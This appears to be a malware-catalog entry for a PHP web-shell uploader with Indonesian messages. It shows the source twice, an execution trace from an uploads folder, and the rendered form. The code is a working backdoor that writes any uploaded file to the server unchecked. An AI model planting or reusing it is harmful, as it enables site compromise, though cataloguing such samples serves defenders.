Jump to:
Screenshot
Attributes
Files
<html><?php
echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
if ($_POST['_upl'] == "Upload") {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo "<b>Upload Sukses!!!<b><br><br>";
} else {
echo "<b>Gagal Upload!!!</b><br><br>";
}
}
?>
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:09:37.855634]
1 0 1 0.000157 393464
1 3 0 0.000211 395776 {main} 1 /var/www/html/uploads/up.php 0 0
1 3 1 0.000271 395776
0.000301 314200
TRACE END [2023-02-12 22:09:37.855808]
<html><head></head><body><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> </body></html>
<html><?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Sukses!!!<b><br><br>'; }
else { echo '<b>Gagal Upload!!!</b><br><br>'; }
}
?>